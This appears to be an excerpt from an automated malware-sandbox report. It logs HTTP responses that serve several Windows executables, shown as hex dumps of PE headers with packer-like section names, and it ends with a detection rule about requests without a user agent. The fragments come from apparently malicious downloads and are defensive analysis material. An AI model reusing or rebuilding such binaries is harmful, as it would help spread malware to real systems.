00 00 00 4c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 02:04:09 GMTServer: Apache/2.4.62 (Debian)Last-Modified: Tue, 24 Sep 2024 00:33:21 GMTETag: "1477b0-622d2a7071640"Accept-Ranges: bytesContent-Length: 1341360Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 54 de 22 67 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 08 00 00 a8 13 00 00 a4 00 00 00 00 00 00 6e c7 13 00 00 20 00 00 00 e0 13 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 14 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 c7 13 00 4b 00 00 00 00 e0 13 00 54 a0 00 00 00 00 00 00 00 00 00 00 00 4e 14 00 b0 29 00 00 00 a0 14 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 a7 13 00 00 20 00 00 00 a8 13 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 54 a0 00 00 00 e0 13 00 00 a2 00 00 00 aa 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 14 00 00 02 00 00 00 4c 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 c7 13 00 00 00 00 00 48 00 00 00 02 00 05 00 dc 06 03 00 88 bc 01 00 03 00 00 00 04 00 00 06 64 c3 04 00 4d 03 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 2a 00 00 1a 28 03 00 00 06 2a 00 1e 00 28 01 00 00 06 2a 13 30 03 00 98 00 00 00 01 00 00 11 20 01 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 03 00 00 00 36 00 00 00 06 00 00 00 05 00 00 00 38 31 00 00 00 2a 7e 03 00 00 04 25 39 05 00 00 00 38 36 00 00 00 26 20 00 00 00 00 7e 73 01 00 04 7b 87 01 00 04 3a c4 ff ff ff 26 20 00 00 00 00 38 b9 ff ff ff 7e 02 00 00 04 fe 06 09 00 00 06 73 01 00 00 0a 25 80 03 00 00 04 73 02 00 00 0a 28 03 00 00 0a 20 01 00 00 00 7e 73 01 00 04 7b 9f 01 00 04 3a 85 ff ff ff 26 20 02 00 00 00 38 7a ff ff ff 26 7e 01 00 00 04 14 fe 01 2a 00 00 1a 7e 01 00 00 04 2a 00 2e 73 08 00 00 06 80 02 00 00 04 2a 1e 02 28 04 00 00 0a 2a 1b 30 05 00 66 06 00 00 02 00 00 11 20 0d 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 15 00 00 00 11 05 00 00 23 00 00 00 96 04 00 00 91 01 00 00 7a 01 00 00 30 01 00 00 56 01 00 00 12 00 00 00 ab 04 00 00 4d 00 00 00 ad 05 00 00 d6 05 00 00 76 04 00 00 dd 00 00 00 ff 00 00 00 21 01
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 02:04:17 GMTContent-Type: application/octet-streamContent-Length: 3039744Last-Modified: Thu, 31 Oct 2024 02:01:36 GMTConnection: keep-aliveETag: "6722e500-2e6200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 70 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 31 00 00 04 00 00 9a fe 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 72 6d 65 65 73 6d 6a 00 b0 2b 00 00 b0 05 00 00 a6 2b 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 63 71 74 69 69 6a 7a 00 10 00 00 00 60 31 00 00 06 00 00 00 3a 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 31 00 00 22 00 00 00 40 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 02:04:27 GMTContent-Type: application/octet-streamContent-Length: 2145792Last-Modified: Thu, 31 Oct 2024 02:01:49 GMTConnection: keep-aliveETag: "6722e50d-20be00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 f0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 73 00 00 04 00 00 27 b8 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 63 6d 61 6c 73 6f 6b 00 10 1a 00 00 d0 58 00 00 0c 1a 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 61 6a 64 70 65 71 69 00 10 00 00 00 e0 72 00 00 06 00 00 00 96 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 72 00 00 22 00 00 00 9c 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 02:04:37 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 31 Oct 2024 01:43:19 GMTConnection: keep-aliveETag: "6722e0b7-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 af e0 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 55 b5 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 02:04:40 GMTContent-Type: application/octet-streamContent-Length: 2814976Last-Modified: Thu, 31 Oct 2024 01:43:45 GMTConnection: keep-aliveETag: "6722e0d1-2af400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 f6 66 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 64 64 65 70 72 7a 61 00 a0 2a 00 00 a0 00 00 00 94 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6e 6a 73 61 79 69 70 00 20 00 00 00 40 2b 00 00 04 00 00 00 ce 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 d2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 02:04:44 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 02:04:48 GMTContent-Type: application/octet-streamContent-Length: 1928704Last-Modified: Thu, 31 Oct 2024 02:01:56 GMTConnection: keep-aliveETag: "6722e514-1d6e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 90 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4c 00 00 04 00 00 a6 3f 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 6b 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 6b 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 77 70 69 69 79 62 70 00 60 1a 00 00 20 32 00 00 52 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 64 6d 73 74 63 73 73 00 10 00 00 00 80 4c 00 00 04 00 00 00 48 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4c 00 00 22 00 00 00 4c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
